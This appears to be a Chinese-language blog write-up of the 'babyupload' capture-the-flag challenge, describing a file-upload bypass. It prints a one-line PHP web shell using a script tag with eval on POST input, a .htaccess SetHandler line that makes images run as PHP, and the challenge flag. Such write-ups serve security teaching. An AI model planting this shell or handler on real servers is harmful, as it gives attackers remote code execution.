babyupload

打开靶机

image-20220518225410226

我们先试着上传一个shell试试

这道题用burpsuite抓包,用bp来发

image-20220518225540907

上传之后发现

image-20220518225557867

后缀名不能有php,那我们就不能用php的别名了

那我们上传一下jpg格式的shell试试

要把那个content/type改成 image/jpeg的,如下图所示,再传一次

image-20220518230320583

回显结果为:

image-20220518230341383

可能是对这个标签的检测,我们改成脚本标签试试

也就是

<script language="php">eval($_POST['cmd']);</script>

image-20220518230835676

此时可以发现上传成功

image-20220518230849372

此时这个html下的路径就是这个shell.jpg所在的位置,我们此时可以访问到

http://2ccd10ec-805e-4d8a-8e33-929bc1900825.node4.buuoj.cn:81/upload/81ce2ba60d2226f792a4330b5e4cc864/shell.jpg

image-20220518231135828

访问后是这个样子

但是我们这个时候无法利用这个shell

我们此时可以上传一个.htaccess

加上这句payload

SetHandler application/x-httpd-php

它的作用就是可以使当前目录下的所有文件都解析为php文件

image-20220518231515161

image-20220518231521476

此时,我们发现也可以上传成功

此时再次访问http://2ccd10ec-805e-4d8a-8e33-929bc1900825.node4.buuoj.cn:81/upload/81ce2ba60d2226f792a4330b5e4cc864/shell.jpg

就不是图片了,是一片空白

image-20220518231737812

此时就可以成功利用这个shell了

搜索发现,flag并不在这个phpinfo()当中

我们尝试一下用system命令列出所有文件试试

image-20220518232149577

发现这个system命令被禁用了

查看phpinfo(),发现确实是被禁用了

image-20220518232250962

我们此时可以用php的函数scandir()来读取文件的路径相关信息

image-20220518232557940

此时,我们发现这个路径下有一个flag文件,我们只需要读取这个文件就可以了

image-20220518232740243

就得到flag了

flag{105b8b8a-6f9d-48bc-8bdd-14ff11f41cd0}

posted @ 2022-05-18 23:30  Jinx8823  阅读(25)  评论(0编辑  收藏  举报